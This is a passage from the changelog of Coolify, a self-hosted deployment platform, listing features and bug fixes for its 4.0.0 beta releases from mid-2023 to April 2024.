+- Update version to 4.0.0-beta.275
+- Update DNS server validation helper text
+
+## [4.0.0-beta.267] - 2024-04-26
+
+### 🚀 Features
+
+- Initial datalist
+- Update service contribution docs URL
+- The final pricing plan, pay-as-you-go
+
+### 🐛 Bug Fixes
+
+- Move s3 storages to separate view
+- Mongo db backup
+- Backups
+- Autoupdate
+- Respect start period and chekc interval for hc
+- Parse HEALTHCHECK from dockerfile
+- Make s3 name and endpoint required
+- Able to update source path for predefined volumes
+- Get logs with non-root user
+- Mongo 4.0 db backup
+
+### 💼 Other
+
+- Update resource operations view
+
+### ◀️ Revert
+
+- Variable parsing
+
+## [4.0.0-beta.266] - 2024-04-24
+
+### 🐛 Bug Fixes
+
+- Refresh public ips on start
+
+## [4.0.0-beta.259] - 2024-04-17
+
+### 🚀 Features
+
+- Literal env variables
+- Lazy load stuffs + tell user if compose based deployments have missing envs
+- Can edit file/dir volumes from ui in compose based apps
+- Upgrade Appwrite service template to 1.5
+- Upgrade Appwrite service template to 1.5
+- Add db name to backup notifications
+
+### 🐛 Bug Fixes
+
+- Helper image only pulled if required, not every 10 mins
+- Make sure that confs when checking if it is changed sorted
+- Respect .env file (for default values)
+- Remove temporary cloudflared config
+- Remove lazy loading until bug figured out
+- Rollback feature
+- Base64 encode .env
+- $ in labels escaped
+- .env saved to deployment server, not to build server
+- Do no able to delete gh app without deleting resources
+- 500 error on edge case
+- Able to select server when creating new destination
+- N8n template
+
+### 💼 Other
+
+- Non-root user for remote servers
+- Non-root
+
+## [4.0.0-beta.258] - 2024-04-12
+
+### 🚀 Features
+
+- Dynamic mux time
+
+### 🐛 Bug Fixes
+
+- Check each required binaries one-by-one
+
+## [4.0.0-beta.256] - 2024-04-12
+
+### 🚀 Features
+
+- Upload large backups
+- Edit domains easier for compose
+- Able to delete configuration from server
+- Configuration checker for all resources
+- Allow tab in textarea
+
+### 🐛 Bug Fixes
+
+- Service config hash update
+- Redeploy if image not found in restart only mode
+
+### 💼 Other
+
+- New pricing
+- Fix allowTab logic
+- Use 2 space instead of tab
+
+## [4.0.0-beta.252] - 2024-04-09
+
+### 🚀 Features
+
+- Add amazon linux 2023
+
+### 🐛 Bug Fixes
+
+- Git submodule update
+- Unintended left padding on sidebar
+- Hashed random delimeter in ssh commands + make sure to remove the delimeter from the command
+
+## [4.0.0-beta.250] - 2024-04-05
+
+### 🚀 Features
+
+- *(application)* Update submodules after git checkout
+
+## [4.0.0-beta.249] - 2024-04-03
+
+### 🚀 Features
+
+- Able to make rsa/ed ssh keys
+
+### 🐛 Bug Fixes
+
+- Warning if you use multiple domains for a service
+- New github app creation
+- Always rebuild Dockerfile / dockerimage buildpacks
+- Do not rebuild dockerfile based apps twice
+- Make sure if envs are changed, rebuild is needed
+- Members cannot manage subscriptions
+- IsMember
+- Storage layout
+- How to update docker-compose, environment variables and fqdns
+
+### 💼 Other
+
+- Light buttons
+- Multiple server view
+
+## [4.0.0-beta.242] - 2024-03-25
+
+### 🚀 Features
+
+- Change page width
+- Watch paths
+
+### 🐛 Bug Fixes
+
+- Compose env has SERVICE, but not defined for Coolify
+- Public service database
+- Make sure service db proxy restarted
+- Restart service db proxies
+- Two factor
+- Ui for tags
+- Update resources view
+- Realtime connection check
+- Multline env in dev mode
+- Scheduled backup for other service databases (supabase)
+- PR deployments should not be distributed to 2 servers
+- Name/from address required for resend
+- Autoupdater
+- Async service loads
+- Disabled inputs are not trucated
+- Duplicated generated fqdns are now working
+- Uis
+- Ui for cftunnels
+- Search services
+- Trial users subscription page
+- Async public key loading
+- Unfunctional server should see resources
+
+### 💼 Other
+
+- Run cleanup every day
+- Fix
+- Fix log outputs
+- Automatic cloudflare tunnels
+- Backup executions
+
+## [4.0.0-beta.241] - 2024-03-20
+
+### 🚀 Features
+
+- Able to run scheduler/horizon programatically
+
+### 🐛 Bug Fixes
+
+- Volumes for prs
+- Shared env variable parsing
+
+### 💼 Other
+
+- Redesign
+- Redesign
+
+## [4.0.0-beta.240] - 2024-03-18
+
+### 🐛 Bug Fixes
+
+- Empty get logs number of lines
+- Only escape envs after v239+
+- 0 in env value
+- Consistent container name
+- Custom ip address should turn off rolling update
+- Multiline input
+- Raw compose deployment
+- Dashboard view if no project found
+
+## [4.0.0-beta.239] - 2024-03-14
+
+### 🐛 Bug Fixes
+
+- Duplicate dockerfile
+- Multiline env variables
+- Server stopped, service page not reachable
+
+## [4.0.0-beta.237] - 2024-03-14
+
+### 🚀 Features
+
+- Domains api endpoint
+- Resources api endpoint
+- Team api endpoint
+- Add deployment details to deploy endpoint
+- Add deployments api
+- Experimental caddy support
+- Dynamic configuration for caddy
+- Reset password
+- Show resources on source page
+
+### 🐛 Bug Fixes
+
+- Deploy api messages
+- Fqdn null in case docker compose bp
+- Reload caddy issue
+- /realtime endpoint
+- Proxy switch
+- Service ports for services + caddy
+- Failed deployments should send failed email/notification
+- Consider custom healthchecks in dockerfile
+- Create initial files async
+- Docker compose validation
+
+## [4.0.0-beta.235] - 2024-03-05
+
+### 🐛 Bug Fixes
+
+- Should note delete personal teams
+- Make sure to show some buttons
+- Sort repositories by name
+
+## [4.0.0-beta.224] - 2024-02-23
+
+### 🚀 Features
+
+- Custom server limit
+- Delay container/server jobs
+- Add static ipv4 ipv6 support
+- Server disabled by overflow
+- Preview deployment logs
+- Collect webhooks during maintenance
+- Logs and execute commands with several servers
+
+### 🐛 Bug Fixes
+
+- Subscription / plan switch, etc
+- Firefly service
+- Force enable/disable server in case ultimate package quantity decreases
+- Server disabled
+- Custom dockerfile location always checked
+- Import to mysql and mariadb
+- Resource tab not loading if server is not reachable
+- Load unmanaged async
+- Do not show n/a networsk
+- Service container status updates
+- Public prs should not be commented
+- Pull request deployments + build servers
+- Env value generation
+- Sentry error
+- Service status updated
+
+### 💼 Other
+
+- Change + icon to hamburger.
+
+## [4.0.0-beta.222] - 2024-02-22
+
+### 🚀 Features
+
+- Able to add dynamic configurations from proxy dashboard
+
+### 🐛 Bug Fixes
+
+- Connections being stuck and not processed until proxy restarts
+- Use latest image if nothing is specified
+- No coolify.yaml found
+- Server validation
+- Statuses
+- Unknown image of service until it is uploaded
+
+## [4.0.0-beta.220] - 2024-02-19
+
+### 🚀 Features
+
+- Save github app permission locally
+- Minversion for services
+
+### 🐛 Bug Fixes
+
+- Add openbsd ssh server check
+- Resources
+- Empty build variables
+- *(server)* Revalidate server button not showing in server's page
+- Fluent bit ident level
+- Submodule cloning
+- Database status
+- Permission change updates from webhook
+- Server validation
+
+### 💼 Other
+
+- Updates
+
+## [4.0.0-beta.213] - 2024-02-12
+
+### 🚀 Features
+
+- Magic for traefik redirectregex in services
+- Revalidate server
+- Disable gzip compression on service applications
+
+### 🐛 Bug Fixes
+
+- Cleanup scheduled tasks
+- Padding left on input boxes
+- Use ls / command instead ls
+- Do not add the same server twice
+- Only show redeployment required if status is not exited
+
+## [4.0.0-beta.212] - 2024-02-08
+
+### 🚀 Features
+
+- Cleanup queue
+
+### 🐛 Bug Fixes
+
+- New menu on navbar
+- Make sure resources are deleted in async mode
+- Go to prod env from dashboard if there is no other envs defined
+- User proper image_tag, if set
+- New menu ui
+- Lock logdrain configuration when one of them are enabled
+- Add docker compose check during server validation
+- Get service stack as uuid, not name
+- Menu
+- Flex wrap deployment previews
+- Boolean docker options
+- Only add 'networks' key if 'network_mode' is absent
+
+## [4.0.0-beta.206] - 2024-02-05
+
+### 🚀 Features
+
+- Clone to env
+- Multi deployments
+
+### 🐛 Bug Fixes
+
+- Wrap tags and avoid horizontal overflow
+- Stripe webhooks
+- Feedback from self-hosted envs to discord
+
+### 💼 Other
+
+- Specific about newrelic logdrains
+
+## [4.0.0-beta.201] - 2024-01-29
+
+### 🚀 Features
+
+- Added manual webhook support for bitbucket
+- Add initial support for custom docker run commands
+- Cleanup unreachable servers
+- Tags and tag deploy webhooks
+
+### 🐛 Bug Fixes
+
+- Bitbucket manual deployments
+- Webhooks for multiple apps
+- Unhealthy deployments should be failed
+- Add env variables for wordpress template without database
+- Service deletion function
+- Service deletion fix
+- Dns validation + duplicated fqdns
+- Validate server navbar upated
+- Regenerate labels on application clone
+- Service deletion
+- Not able to use other shared envs
+- Sentry fix
+- Sentry
+- Sentry error
+- Sentry
+- Sentry error
+- Create dynamic directory
+- Migrate to new modal
+- Duplicate domain check
+- Tags
+
+### 💼 Other
+
+- New modal component
+
+## [4.0.0-beta.188] - 2024-01-11
+
+### 🚀 Features
+
+- Search between resources
+- Move resources between projects / environments
+- Clone any resource
+- Shared environments
+- Concurrent builds / server
+- Able to deploy multiple resources with webhook
+- Add PR comments
+- Dashboard live deployment view
+
+### 🐛 Bug Fixes
+
+- Preview deployments with nixpacks
+- Cleanup docker stuffs before upgrading
+- Service deletion command
+- Cpuset limits was determined in a way that apps only used 1 CPU max, ehh, sorry.
+- Service stack view
+- Change proxy view
+- Checkbox click
+- Git pull command for deploy key based previews
+- Server status job
+- Service deletion bug!
+- Links
+- Redis custom conf
+- Sentry error
+- Restrict concurrent deployments per server
+- Queue
+- Change env variable length
+
+### 💼 Other
+
+- Send notification email if payment
+
+### 🚜 Refactor
+
+- Compose file and install script
+
+## [4.0.0-beta.186] - 2024-01-11
+
+### 🚀 Features
+
+- Import backups
+
+### 🐛 Bug Fixes
+
+- Do not include thegameplan.json into build image
+- Submit error on postgresql
+- Email verification / forgot password
+- Escape build envs properly for nixpacks + docker build
+- Undead endpoint
+- Upload limit on ui
+- Save cmd output propely (merge)
+- Load profile on remote commands
+- Load profile and set envs on remote cmd
+- Restart should not update config hash
+
+## [4.0.0-beta.184] - 2024-01-09
+
+### 🐛 Bug Fixes
+
+- Healthy status
+- Show framework based notification in build logs
+- Traefik labels
+- Use ip for sslip in dev if remote server is used
+- Service labels without ports (unknown ports)
+- Sort and rename (unique part) of labels
+- Settings menu
+- Remove traefik debug in dev mode
+- Php pgsql to 8.2
+- Static buildpack should set port 80
+- Update navbar on build_pack change
+
+## [4.0.0-beta.183] - 2024-01-06
+
+### 🚀 Features
+
+- Add www-non-www redirects to traefik
+
+### 🐛 Bug Fixes
+
+- Database env variables
+
+## [4.0.0-beta.182] - 2024-01-04
+
+### 🐛 Bug Fixes
+
+- File storage save
+
+## [4.0.0-beta.181] - 2024-01-03
+
+### 🐛 Bug Fixes
+
+- Nixpacks buildpack
+
+## [4.0.0-beta.180] - 2024-01-03
+
+### 🐛 Bug Fixes
+
+- Nixpacks cache
+- Only add restart policy if its empty (compose)
+
+## [4.0.0-beta.179] - 2024-01-02
+
+### 🐛 Bug Fixes
+
+- Set deployment failed if new container is not healthy
+
+## [4.0.0-beta.177] - 2024-01-02
+
+### 🚀 Features
+
+- Raw docker compose deployments
+
+### 🐛 Bug Fixes
+
+- Duplicate compose variable
+
+## [4.0.0-beta.176] - 2023-12-31
+
+### 🐛 Bug Fixes
+
+- Horizon
+
+## [4.0.0-beta.175] - 2023-12-30
+
+### 🚀 Features
+
+- Add environment description + able to change name
+
+### 🐛 Bug Fixes
+
+- Sub
+- Wrong env variable parsing
+- Deploy key + docker compose
+
+## [4.0.0-beta.174] - 2023-12-27
+
+### 🐛 Bug Fixes
+
+- Restore falsely deleted coolify-db-backup
+
+## [4.0.0-beta.173] - 2023-12-27
+
+### 🐛 Bug Fixes
+
+- Cpu limit to float from int
+- Add source commit to final envs
+- Routing, switch back to old one
+- Deploy instead of restart in case swarm is used
+- Button title
+
+## [4.0.0-beta.163] - 2023-12-15
+
+### 🚀 Features
+
+- Custom docker compose commands
+
+### 🐛 Bug Fixes
+
+- Domains for compose bp
+- No action in webhooks
+- Add debug output to gitlab webhooks
+- Do not push dockerimage
+- Add alpha to swarm
+- Server not found
+- Do not autovalidate server on mount
+- Server update schedule
+- Swarm support ui
+- Server ready
+- Get swarm service logs
+- Docker compose apps env rewritten
+- Storage error on dbs
+- Why?!
+- Stay tuned
+
+### 💼 Other
+
+- Swarm
+- Swarm
+
+## [4.0.0-beta.155] - 2023-12-11
+
+### 🚀 Features
+
+- Autoupdate env during seed
+- Disable autoupdate
+- Randomly sleep between executions
+- Pull latest images for services
+
+### 🐛 Bug Fixes
+
+- Do not send telegram noti  on intent payment failed
+- Database ui is realtime based
+- Live mode for github webhooks
+- Ui
+- Realtime connection popup could be disabled
+- Realtime check
+- Add new destination
+- Proxy logs
+- Db status check
+- Pusher host
+- Add ipv6
+- Realtime connection?!
+- Websocket
+- Better handling of errors with install script
+- Install script parse version
+- Only allow to modify in .env file if AUTOUPDATE is set
+- Is autoupdate not null
+- Run init command after production seeder
+- Init
+- Comma in traefik custom labels
+- Ignore if dynamic config could not be set
+- Service env variable ovewritten if it has a default value
+- Labelling
+- Non-ascii chars in labels
+- Labels
+- Init script echos
+- Update Coolify script
+- Null notify
+- Check queued deployments as well
+- Copy invitation
+- Password reset / invitation link requests
+- Add catch all route
+- Revert random container job delay
+- Backup executions view
+- Only check server status in container status job
+- Improve server status check times
+- Handle other types of generated values
+- Server checking status
+- Ui for adding new destination
+- Reset domains on compose file change
+
+### 💼 Other
+
+- Fix for comma in labels
+- Add image name to service stack + better options visibility
+
+### 🚜 Refactor
+
+- Service logs are now on one page
+- Application status changed realtime
+- Custom labels
+- Clone project
+
+## [4.0.0-beta.154] - 2023-12-07
+
+### 🚀 Features
+
+- Execute command in container
+
+### 🐛 Bug Fixes
+
+- Container selection
+- Service navbar using new realtime events
+- Do not create duplicated networks
+- Live event
+- Service start + event
+- Service deletion job
+- Double ws connection
+- Boarding view
+
+### 💼 Other
+
+- Env vars
+- Migrate to livewire 3
+
+## [4.0.0-beta.124] - 2023-11-13
+
+### 🚀 Features
+
+- Log drain (wip)
+- Enable/disable log drain by service
+- Log drainer container check
+- Add docker engine support install script to rhel based systems
+- Save timestamp configuration for logs
+- Custom log drain endpoints
+- Auto-restart tcp proxies for databases
+
+### 🐛 Bug Fixes
+
+- *(fider template)* Use the correct docs url
+- Fqdn for minio
+- Generate service fields
+- Mariadb backups
+- When to pull image
+- Do not allow to enter local ip addresses
+- Reset password
+- Only report nonruntime errors
+- Handle different label formats in services
+- Server adding process
+- Show defined resources in server tab, so you will know what you need to delete before you can delete the server.
+- Lots of regarding git + docker compose deployments
+- Pull request build variables
+- Double default password length
+- Do not remove deployment in case compose based failed
+- No container servers
+- Sentry issue
+- Dockercompose save ./ volumes under /data/coolify
+- Server view for link()
+- Default value do not overwrite existing env value
+- Use official install script with rancher (one will work for sure)
+- Add cf tunnel to boarding server view
+- Prevent autorefresh of proxy status
+- Missing docker image thing
+- Add hc for soketi
+- Deploy the right compose file
+- Bind volumes for compose bp
+- Use hc port 80 in case of static build
+- Switching to static build
+
+### 💼 Other
+
+- New deployment jobs
+- Compose based apps
+- Swarm
+- Swarm
+- Swarm
+- Swarm
+- Disable trial
+- Meilisearch
+- Broadcast
+- 🌮
+
+### 🚜 Refactor
+
+- Env variable generator
+
+### ◀️ Revert
+
+- Wip
+
+## [4.0.0-beta.109] - 2023-11-06
+
+### 🚀 Features
+
+- Deployment logs fullscreen
+- Service database backups
+- Make service databases public
+
+### 🐛 Bug Fixes
+
+- Missing environment variables prevewi on service
+- Invoice.paid should sleep for 5 seconds
+- Local dev repo
+- Deployments ui
+- Dockerfile build pack fix
+- Set labels on generate domain
+- Network service parse
+- Notification url in containerstatusjob
+- Gh webhook response 200 to installation_repositories
+- Delete destination
+- No id found
+- Missing $mailMessage
+- Set default from/sender names
+- No environments
+- Telegram text
+- Private key not found error
+- UI
+- Resourcesdelete command
+- Port number should be int
+- Separate delete with validation of server
+- Add nixpacks info
+- Remove filter
+- Container logs are now followable in full-screen and sorted by timestamp
+- Ui for labels
+- Ui
+- Deletions
+- Build_image not found
+- Github source view
+- Github source view
+- Dockercleanupjob should be released back
+- Ui
+- Local ip address
+- Revert workdir to basedir
+- Container status jobs for old pr deployments
+- Service updates
+
+## [4.0.0-beta.99] - 2023-10-24
+
+### 🚀 Features
+
+- Improve deployment time by a lot
+
+### 🐛 Bug Fixes
+
+- Space in build args
+- Lock SERVICE_FQDN envs
+- If user is invited, that means its email is verified
+- Force password reset on invited accounts
+- Add ssh options to git ls-remote
+- Git ls-remote
+- Remove coolify labels from ui
+
+### 💼 Other
+
+- Fix subs
+
+## [4.0.0-beta.97] - 2023-10-20
+
+### 🚀 Features
+
+- Standalone mongodb
+- Cloning project
+- Api tokens + deploy webhook
+- Start all kinds of things
+- Simple search functionality
+- Mysql, mariadb
+- Lock environment variables
+- Download local backups
+
+### 🐛 Bug Fixes
+
+- Service docs links
+- Add PGUSER to prevent HC warning
+- Preselect s3 storage if available
+- Port exposes change, shoud regenerate label
+- Boarding
+- Clone to with the same environment name
+- Cleanup stucked resources on start
+- Do not allow to delete env if a resource is defined
+- Service template generator + appwrite
+- Mongodb backup
+- Make sure coolfiy network exists on install
+- Syncbunny command
+- Encrypt mongodb password
+- Mongodb healtcheck command
+- Rate limit for api + add mariadb + mysql
+- Server settings guarded
+
+### 💼 Other
+
+- Generate services
+- Mongodb backup
+- Mongodb backup
+- Updates
+
+## [4.0.0-beta.93] - 2023-10-18
+
+### 🚀 Features
+
+- Able to customize docker labels on applications
+- Show if config is not applied
+
+### 🐛 Bug Fixes
+
+- Setup:dev script & contribution guide
+- Do not show configuration changed if config_hash is null
+- Add config_hash if its null (old deployments)
+- Label generation
+- Labels
+- Email channel no recepients
+- Limit horizon processes to 2 by default
+- Add custom port as ssh option to deploy_key based commands
+- Remove custom port from git repo url
+- ContainerStatus job
+
+### 💼 Other
+
+- PAT by team
+
+## [4.0.0-beta.92] - 2023-10-17
+
+### 🐛 Bug Fixes
+
+- Proxy start process
+
+## [4.0.0-beta.91] - 2023-10-17
+
+### 🐛 Bug Fixes
+
+- Always start proxy if not NONE is selected
+
+### 💼 Other
+
+- Add helper to service domains
+
+## [4.0.0-beta.90] - 2023-10-17
+
+### 🐛 Bug Fixes
+
+- Only include config.json if its exists and a file
+
+### 💼 Other
+
+- Wordpress
+
+## [4.0.0-beta.89] - 2023-10-17
+
+### 🐛 Bug Fixes
+
+- Noindex meta tag
+- Show docker build logs
+
+## [4.0.0-beta.88] - 2023-10-17
+
+### 🚀 Features
+
+- Use docker login credentials from server
+
+## [4.0.0-beta.87] - 2023-10-17
+
+### 🐛 Bug Fixes
+
+- Service status check is a bit better
+- Generate fqdn if you deleted a service app, but it requires fqdn
+- Cancel any deployments + queue next
+- Add internal domain names during build process
+
+## [4.0.0-beta.86] - 2023-10-15
+
+### 🐛 Bug Fixes
+
+- Build image before starting dockerfile buildpacks
+
+## [4.0.0-beta.85] - 2023-10-14
+
+### 🐛 Bug Fixes
+
+- Redis URL generated
+
+## [4.0.0-beta.83] - 2023-10-13
+
+### 🐛 Bug Fixes
+
+- Docker hub URL
+
+## [4.0.0-beta.70] - 2023-10-09
+
+### 🚀 Features
+
+- Add email verification for cloud
+- Able to deploy docker images
+- Add dockerfile location
+- Proxy logs on the ui
+- Add custom redis conf
+
+### 🐛 Bug Fixes
+
+- Server validation process
+- Fqdn could be null
+- Small
+- Server unreachable count
+- Do not reset unreachable count
+- Contact docs
+- Check connection
+- Server saving
+- No env goto envs from dashboard
+- Goto
+- Tcp proxy for dbs
+- Database backups
+- Only send email if transactional email set
+- Backupfailed notification is forced
+- Use port exposed for reverse proxy
+- Contact link
+- Use only ip addresses for servers
+- Deleted team and it is the current one
+- Add new team button
+- Transactional email link
+- Dashboard goto link
+- Only require registry image in case of dockerimage bp
+- Instant save build pack change
+- Public git
+- Cannot remove localhost
+- Check localhost connection
+- Send unreachable/revived notifications
+- Boarding + verification
+- Make sure proxy wont start in NONE mode
+- Service check status 10 sec
+- IsCloud in production seeder
+- Make sure to use IP address
+- Dockerfile location feature
+- Server ip could be hostname in self-hosted
+- Urls should be password fields
+- No backup for redis
+- Show database logs in case of its not healthy and running
+- Proxy check for ports, do not kill anything listening on port 80/443
+- Traefik dashboard ip
+- Db labels
+- Docker cleanup jobs
+- Timeout for instant remote processes
+- Dev containerjobs
+- Backup database one-by-one.
+- Turn off static deployment if you switch buildpacks
+
+### 💼 Other
+
+- Dockerimage
+- Updated dashboard
+- Fix
+- Fix
+- Coolify proxy access logs exposed in dev
+- Able to select environment on new resource
+- Delete server
+- Redis
+
+## [4.0.0-beta.58] - 2023-10-02
+
+### 🚀 Features
+
+- Reset root password
+- Attach Coolify defined networks to services
+- Delete resource command
+- Multiselect removable resources
+- Disable service, required version
+- Basedir / monorepo initial support
+- Init version of any git deployment
+- Deploy private repo with ssh key
+
+### 🐛 Bug Fixes
+
+- If waitlist is disabled, redirect to register
+- Add destination to new services
+- Predefined content for files
+- Move /data to ./_data in dev
+- UI
+- Show all storages in one place for services
+- Ui
+- Add _data to vite ignore
+- Only use _ in volume names for services
+- Volume names in services
+- Volume names
+- Service logs visible if the whole service stack is not running
+- Ui
+- Compose magic
+- Compose parser updated
+- Dev compose files
+- Traefik labels for multiport deployments
+- Visible version number
+- Remove SERVICE_ from deployable compose
+- Delete event to deleting
+- Move dev data to volumes to prevent permission issues
+- Traefik labelling in case of several http and https domain added
+- PR deployments use the first fqdn as base
+- Email notifications subscription fixed
+- Services - do not remove unnecessary things for now
+- Decrease max horizon processes to get lower memory usage
+- Test emails only available for user owned smtp/resend
+- Ui for self-hosted email settings
+- Set smtp notifications on by default
+- Select branch on other git
+- Private repository
+- Contribution guide
+- Public repository names
+- *(create)* Flex wrap on server & network selection
+- Better unreachable/revived server statuses
+- Able to set base dir for Dockerfile build pack
+
+### 💼 Other
+
+- Uptime kume hc updated
+- Switch back to /data (volume errors)
+- Notifications
+- Add shared email option to everyone
+
+## [4.0.0-beta.57] - 2023-10-02
+
+### 🚀 Features
+
+- Container logs
+
+### 🐛 Bug Fixes
+
+- Always pull helper image in dev
+- Only show last 1000 lines
+- Service status
+
+## [4.0.0-beta.47] - 2023-09-28
+
+### 🐛 Bug Fixes
+
+- Next helper image
+- Service templates
+- Sync:bunny
+- Update process if server has been renamed
+- Reporting handler
+- Localhost privatekey update
+- Remove private key in case you removed a github app
+- Only show manually added private keys on server view
+- Show source on all type of applications
+- Docker cleanup should be a job by server
+- File/dir based volumes are now read from the server
+- Respect server fqdn
+- If public repository does not have a main branch
+- Preselect branc on private repos
+- Deploykey branch
+- Backups are now working again
+- Not found base_branch in git webhooks
+- Coolify db backup
+- Preview deployments name, status etc
+- Services should have destination as well
+- Dockerfile expose is not overwritten
+- If app settings is not saved to db
+- Do not show subscription cancelled noti
+- Show real volume names
+- Only parse expose in dockerfiles if ports_exposes is empty
+- Add uuid to volume names
+- New volumes for services should have - instead of _
+
+### 💼 Other
+
+- Fix previews to preview
+
+## [4.0.0-beta.46] - 2023-09-28
+
+### 🐛 Bug Fixes
+
+- Containerstatusjob
+- Aaaaaaaaaaaaaaaaa
+- Services view
+- Services
+- Manually create network for services
+- Disable early updates
+- Sslip for localhost
+- ContainerStatusJob
+- Cannot delete env with available services
+- Sync command
+- Install script drops an error
+- Prevent sync version (it needs an option)
+- Instance fqdn setting
+- Sentry 4510197209
+- Sentry 4504136641
+- Sentry 4502634789
+
+## [4.0.0-beta.45] - 2023-09-24
+
+### 🚀 Features
+
+- Services
+- Image tag for services
+
+### 🐛 Bug Fixes
+
+- Applications with port mappins do a normal update (not rolling update)
+- Put back build pack chooser
+- Proxy configuration + starter
+- Show real storage name on services
+- New service template layout
+
+### 💼 Other
+
+- Fixed z-index for version link.
+- Add source button
+- Fixed z-index for magicbar
+- A bit better error
+- More visible feedback button
+- Update help modal
+- Help
+- Marketing emails
+
+## [4.0.0-beta.28] - 2023-09-08
+
+### 🚀 Features
+
+- Telegram topics separation
+- Developer view for env variables
+- Cache team settings
+- Generate public key from private keys
+- Able to invite more people at once
+- Trial
+- Dynamic trial period
+- Ssh-agent instead of filesystem based ssh keys
+- New container status checks
+- Generate ssh key
+- Sentry add email for better support
+- Healthcheck for apps
+- Add cloudflare tunnel support
+
+### 🐛 Bug Fixes
+
+- Db backup job
+- Sentry 4459819517
+- Sentry 4451028626
+- Ui
+- Retry notifications
+- Instance email settings
+- Ui
+- Test email on for admins or custom smtp
+- Coolify already exists should not throw error
+- Delete database related things when delete database
+- Remove -q from docker compose
+- Errors in views
+- Only send internal notifcations to enabled channels
+- Recovery code
+- Email sending error
+- Sentry 4469575117
+- Old docker version error
+- Errors
+- Proxy check, reduce jobs, etc
+- Queue after commit
+- Remove nixpkgarchive
+- Remove nixpkgarchive from ui
+- Webhooks should not run if server is not functional
+- Server is functional check
+- Confirm email before sending
+- Help should send cc on email
+- Sub type
+- Show help modal everywhere
+- Forgot password
+- Disable dockerfile based healtcheck for now
+- Add timeout for ssh commands
+- Prevent weird ui bug for validateServer
+- Lowercase email in forgot password
+- Lower case email on waitlist
+- Encrypt jobs
+- ProcessWithEnv()->run
+- Plus boarding step about Coolify
+- SaveConfigurationSync
+- Help uri
+- Sub for root
+- Redirect on server not found
+- Ip check
+- Uniqueips
+- Simply reply to help messages
+- Help
+- Rate limit
+- Collect billing address
+- Invitation
+- Smtp view
+- Ssh-agent revert
+- Restarting container state on ui
+- Generate new key
+- Missing upgrade js
+- Team error
+- 4.0.0-beta.37
+- Localhost
+- Proxy start (if not proxy defined, use Traefik)
+- Do not remove localhost in boarding
+- Allow non ip address (DNS)
+- InstallDocker id not found
+- Boarding
+- Errors
+- Proxy container status
+- Proxy configuration saving
+- Convert startProxy to action
+- Stop/start UI on apps and dbs
+- Improve localhost boarding process
+- Try to use old docker-compose
+- Boarding again
+- Send internal notifications of email errors
+- Add github app change on new app view
+- Delete environment variables on app/db delete
+- Save proxy configuration
+- Add proxy to network with periodic check
+- Proxy connections
+- Delete persistent storages on resource deletion
+- Prevent overwrite already existing env variables in services
+- Mappings
+- Sentry issue 4478125289
+- Make sure proxy path created
+- StartProxy
+- Server validation with cf tunnels
+- Only show traefik dashboard if its available
+- Services
+- Database schema
+- Report livewire errors
+- Links with path
+- Add traefik labels no matter if traefik is selected or not
+- Add expose port for containers
+- Also check docker socks permission on validation
+
+### 💼 Other
+
+- User should know that the public key
+- Services are not availble yet
+- Show registered users on waitlist page
+- Nixpacksarchive
+- Add Plausible analytics
+- Global env variables
+- Fix
+- Trial emails
+- Server check instead of app check
+- Show trial instead of sub
+- Server lost connection
+- Services
+- Services
+- Services
+- Ui for services
+- Services
+- Services
+- Services
+- Fixes
+- Fix typo
+
+## [4.0.0-beta.27] - 2023-09-08
+
+### 🐛 Bug Fixes
+
+- Bug
+
+## [4.0.0-beta.26] - 2023-09-08
+
+### 🚀 Features
+
+- Public database
+
+## [4.0.0-beta.25] - 2023-09-07
+
+### 🐛 Bug Fixes
+
+- SaveModel email settings
+
+## [4.0.0-beta.24] - 2023-09-06
+
+### 🚀 Features
+
+- Send request in cloud
+- Add discord notifications
+
+### 🐛 Bug Fixes
+
+- Form address
+- Show hosted email service, just disable for non pro subs
+- Add navbar for source + keys
+- Add docker network to build process
+- Overlapping apps
+- Do not show system wide git on cloud
+- Lowercase image names
+- Typo
+
+### 💼 Other
+
+- Backup existing database
+
+## [4.0.0-beta.23] - 2023-09-01
+
+### 🐛 Bug Fixes
+
+- Sentry bug
+- Button loading animation
+
+## [4.0.0-beta.22] - 2023-09-01
+
+### 🚀 Features
+
+- Add resend as transactional emails
+
+### 🐛 Bug Fixes
+
+- DockerCleanupjob
+- Validation
+- Webhook endpoint in cloud and no system wide gh app
+- Subscriptions
+- Password confirmation
+- Proxy start job
+- Dockerimage jobs are not overlapping
+
+## [4.0.0-beta.21] - 2023-08-27
+
+### 🚀 Features
+
+- Invite by email from waitlist
+- Rolling update
+
+### 🐛 Bug Fixes
+
+- Limits & server creation page
+- Fqdn on apps
+
+### 💼 Other
+
+- Boarding
+
+## [4.0.0-beta.20] - 2023-08-17
+
+### 🚀 Features
+
+- Send internal notification to discord
+- Monitor server connection
+
+### 🐛 Bug Fixes
+
+- Make coolify-db backups unique dir
+
+## [4.0.0-beta.19] - 2023-08-15
+
+### 🚀 Features
+
+- Pricing plans ans subs
+- Add s3 storages
+- Init postgresql database
+- Add backup notifications
+- Dockerfile build pack
+- Cloud
+- Force password reset + waitlist
+
+### 🐛 Bug Fixes
+
+- Remove buggregator from dev
+- Able to change localhost's private key
+- Readonly input box
+- Notifications
+- Licensing
+- Subscription link
+- Migrate db schema for smtp + discord
+- Text field
+- Null fqdn notifications
+- Remove old modal
+- Proxy stop/start ui
+- Proxy UI
+- Empty description
+- Input and textarea
+- Postgres_username name to not name, lol
+- DatabaseBackupJob.php
+- No storage
+- Backup now button
+- Ui + subscription
+- Self-hosted
+
+### 💼 Other
+
+- Scheduled backups
+
+## [4.0.0-beta.18] - 2023-07-14
+
+### 🚀 Features
+
+- Able to control multiplexing
+- Add runRemoteCommandSync
+- Github repo with deployment key
+- Add persistent volumes
+- Debuggable executeNow commands
+- Add private gh repos
+- Delete gh app
+- Installation/update github apps
+- Auto-deploy
+- Deploy key based deployments
+- Resource limits
+- Long running queue with 1 hour of timeout
+- Add arm build to dev
+- Disk cleanup threshold by server
+- Notify user of disk cleanup init
+
+### 🐛 Bug Fixes
+
+- Logo of CCCareers
+- Typo
+- Ssh
+- Nullable name on deploy_keys
+- Enviroments
+- Remove dd - oops
+- Add inprogress activity
+- Application view
+- Only set status in case the last command block is finished
+- Poll activity
+- Small typo
+- Show activity on load
+- Deployment should fail on error
+- Tests
+- Version
+- Status not needed
+- No project redirect
+- Gh actions
+- Set status
+- Seeders
+- Do not modify localhost
+- Deployment_uuid -> type_uuid
+- Read env from config, bc of cache
+- Private key change view
+- New destination
+- Do not update next channel all the time
+- Cancel deployment button
+- Public repo limit shown + branch should be preselected.
+- Better status on ui for apps
+- Arm coolify version
+- Formatting
+- Gh actions
+- Show github app secrets
+- Do not force next version updates
+- Debug log button
+- Deployment key based works
